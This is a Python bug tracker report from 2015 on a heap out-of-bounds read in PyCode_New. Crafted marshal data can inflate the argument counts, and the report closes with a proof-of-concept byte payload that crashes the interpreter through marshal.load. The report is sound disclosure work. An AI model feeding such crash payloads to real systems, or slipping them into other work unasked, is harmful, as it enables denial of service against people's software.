Message246658
`PyCode_New` can read invalid heap memory.
File Objects/codeobject.c:
PyCodeObject *
PyCode_New(int argcount, int kwonlyargcount,
int nlocals, int stacksize, int flags,
PyObject *code, PyObject *consts, PyObject *names,
PyObject *varnames, PyObject *freevars, PyObject *cellvars,
PyObject *filename, PyObject *name, int firstlineno,
PyObject *lnotab)
{
PyCodeObject *co;
unsigned char *cell2arg = NULL;
Py_ssize_t i, n_cellvars;
// ...
n_cellvars = PyTuple_GET_SIZE(cellvars);
// ...
/* Create mapping between cells and arguments if needed. */
if (n_cellvars) {
Py_ssize_t total_args = argcount + kwonlyargcount +
((flags & CO_VARARGS) != 0) + ((flags & CO_VARKEYWORDS) != 0); // *** 1 ***
// ...
/* Find cells which are also arguments. */
for (i = 0; i < n_cellvars; i++) {
Py_ssize_t j;
PyObject *cell = PyTuple_GET_ITEM(cellvars, i);
for (j = 0; j < total_args; j++) {
PyObject *arg = PyTuple_GET_ITEM(varnames, j); // *** 2 ***
if (!PyUnicode_Compare(cell, arg)) { // *** 3 ***
cell2arg[i] = j;
used_cell2arg = 1;
break;
}
}
}
// ...
}
// ...
}
1. `total_args` is determined from parameters that are user-controlled
(see `r_object` in `Python/marshal.c`, in the `TYPE_CODE` case,
lines 1265--1277).
2. the `varnames` tuple is indexed with a value in the range [0, total_args),
which could be larger than the range of valid indexes for `varnames`.
3. `arg` is now a bogus PyObject value, and causes a segfault in
`PyUnicode_Compare`.
Environment:
$ python3.4 --version
Python 3.4.2
$ uname -a
Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux
POC:
from marshal import load
from io import BytesIO
payload = b'\xe3\x01\x00\xff\x00\x00\x00\x00\xfc\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00k\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x01\xda|x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tesTgases.py\xda\x08<lambda>\x01\x00\x00\x00s\x00\x00\x00\x00r\x03\x00\x00\x00\xfa\x0fmk_testck_te\x00)\x01\xda\x01x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x80\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00"\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tMstgases\x11py\xda\x08<lambda>$\x00\x00\x12s\x00\x00\x00\x00r\x03\x00'
load(BytesIO(payload)) |
|
Date |
User |
Action |
Args |
2015-07-12 17:46:46 | blarsen | set | recipients:
+ blarsen |
2015-07-12 17:46:46 | blarsen | set | messageid: <1436723206.75.0.0338800196723.issue24618@psf.upfronthosting.co.za> |
2015-07-12 17:46:46 | blarsen | link | issue24618 messages |
2015-07-12 17:46:46 | blarsen | create | |
|